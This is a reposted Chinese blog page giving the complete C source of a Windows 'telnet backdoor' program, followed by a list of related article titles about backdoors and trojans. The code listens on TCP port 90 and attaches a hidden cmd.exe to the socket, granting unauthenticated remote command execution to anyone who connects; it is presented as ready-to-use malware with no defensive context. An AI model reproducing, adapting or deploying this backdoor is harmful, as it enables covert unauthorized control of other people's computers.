一个Telnet后门程序(转)
来源:互联网 发布:如何在淘宝上雇佣黑客 编辑:程序博客网 时间:2024/04/27 21:40
/****************************************************
created : 2004/10/09
created : 9:10:2004 9:37
file base : tini
file ext : c
author : XueFeng
purpose : telnet backdoor
****************************************************/
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
#define PORT 90
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
unsigned char varA,varB;
//接收Telnet客户端信息
DWORD WINAPI ThreadFuncA(LPVOID lpParam)
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
//创建管道
CreatePipe(&hReadPipe, &hWriteFile, &pipeattr, 0);
varA = 1;
while(TRUE)
{
Sleep(250);
nByteToWrite = recv(ClientSocket, recv_buff, 1024, 0);
WriteFile(hWriteFile, recv_buff, nByteToWrite, &nByteWritten, NULL);
}
return 0;
}
//将命令的执行结果发往Telnet客户端
DWORD WINAPI ThreadFuncB(LPVOID lpParam)
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile, &hWritePipe, &pipeattr, 0);
varB = 1;
while (TRUE)
{
ReadFile(hReadFile, send_buff, 25000, &len, NULL);
send(ClientSocket, send_buff, len, 0);
}
return 0;
}
void main(void)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
DWORD dwThreadIdA, dwThreadIdB, dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
char szAPP[256];
//创建Telnet服务,监听等待客户端连接
WSAStartup(MAKEWORD(2,2), &WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
bind(ServerSocket, (LPSOCKADDR)&RemoteAddr, sizeof(RemoteAddr));
listen(ServerSocket, 5);
varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
do
{
Sleep(250);
} while((varA || varB) == 0);
GetStartupInfo(&startinfo);
//设置后台进程属性
startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
GetSystemDirectory(szAPP, MAX_PATH + 1);
if (osvi.dwPlatformId == 2)
{
strcat(szAPP, "//cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,
&processinfo) == 0)
{
printf ("Create Process Error!/n");
return;
}
}
else
{
strcat(szAPP, "//command.exe");
CreateProcess(NULL, szAPP, 0, 0, TRUE, 0, 0, 0, &startinfo, &processinfo);
}
while (TRUE)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}
- 一个Telnet后门程序(转)
- 简易Telnet后门[经典]
- 批处理开启TelNet后门
- 仿telnet后门
- 一个telnet程序的学习心得!
- 后门程序
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- 利用Telnet制作完美后门
- BIOS中隐藏Telnet后门
- BIOS中隐藏Telnet后门
- vc++ ICMP后门后门程序
- 一个简单telnet服务端程序实现
- 一个后门程序开发实例--基础VC版
- 利用nc构建telnet后门控制案例
- 第一个使用WiX开发的安装包
- 关于标识符的问题
- SQL 复制过程的注意事项
- 自己写的木马之木马DLL注入程序(转)
- 使用strcpy的几点心得(转)
- 一个Telnet后门程序(转)
- IBM BlueGene雄踞500强超级计算机之首
- 英文经典欣赏:飞鸟集
- Web应用时中文乱码的处理
- 新一代P2P网络电视PPlive试用
- 工作随笔(1)
- delphi在TreeView 里加复选框
- 无为而无不为——论老子哲学的深度悖论(转载)
- 对logging类的认识